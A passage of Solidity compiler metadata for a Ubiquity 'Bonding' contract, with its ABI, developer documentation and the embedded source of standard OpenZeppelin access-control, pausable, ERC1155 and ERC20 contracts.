\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"crvPriceReset\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"currentShareValue\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"priceShare\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"currentTokenPrice\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"data\",\"outputs\":[{\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_lpsAmount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_weeks\",\"type\":\"uint256\"}],\"name\":\"deposit\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"manager\",\"outputs\":[{\"internalType\":\"contract UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"redeemStreamTime\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"removeProtocolToken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"sablier\",\"outputs\":[{\"internalType\":\"contract ISablier\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"sendDust\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_blockCountInAWeek\",\"type\":\"uint256\"}],\"name\":\"setBlockCountInAWeek\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_blockRonding\",\"type\":\"uint256\"}],\"name\":\"setBlockRonding\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_bondingDiscountMultiplier\",\"type\":\"uint256\"}],\"name\":\"setBondingDiscountMultiplier\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_redeemStreamTime\",\"type\":\"uint256\"}],\"name\":\"setRedeemStreamTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_sablier\",\"type\":\"address\"}],\"name\":\"setSablier\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_uGOVPerBlock\",\"type\":\"uint256\"}],\"name\":\"setUGOVPerBlock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"uADPriceReset\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"uGOVPerBlock\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_sharesAmount\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_id\",\"type\":\"uint256\"}],\"name\":\"withdraw\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"crvPriceReset(uint256)\":{\"details\":\"crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside the bonding contract and send the 3CRV received to the treasury This will have the immediate effect of pushing the uAD price LOWER\",\"params\":{\"amount\":\"of LP token to be removed for 3CRV tokens\"}},\"deposit(uint256,uint256)\":{\"details\":\"deposit uAD-3CRV LP tokens for a duration to receive bonding shares\",\"params\":{\"_lpsAmount\":\"of LP token to send\",\"_weeks\":\"during lp token will be held\"}},\"uADPriceReset(uint256)\":{\"details\":\"uADPriceReset remove uAD unilateraly from the curve LP share sitting inside the bonding contract and send the uAD received to the treasury. This will have the immediate effect of pushing the uAD price HIGHER\",\"params\":{\"amount\":\"of LP token to be removed for uAD\"}},\"withdraw(uint256,uint256)\":{\"details\":\"withdraw an amount of uAD-3CRV LP tokens\",\"params\":{\"_id\":\"bonding shares id\",\"_sharesAmount\":\"of bonding shares of type _id to be withdrawn\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"addProtocolToken(address)\":{\"notice\":\"Collectable Dust\"},\"crvPriceReset(uint256)\":{\"notice\":\"it will remove one coin only from the curve LP share sitting in the bonding contract\"},\"deposit(uint256,uint256)\":{\"notice\":\"weeks act as a multiplier for the amount of bonding shares to be received\"},\"uADPriceReset(uint256)\":{\"notice\":\"it will remove one coin only from the curve LP share sitting in the bonding contract\"},\"withdraw(uint256,uint256)\":{\"notice\":\"bonding shares are ERC1155 (aka NFT) because they have an expiration date\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/Bonding.sol\":\"Bonding\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 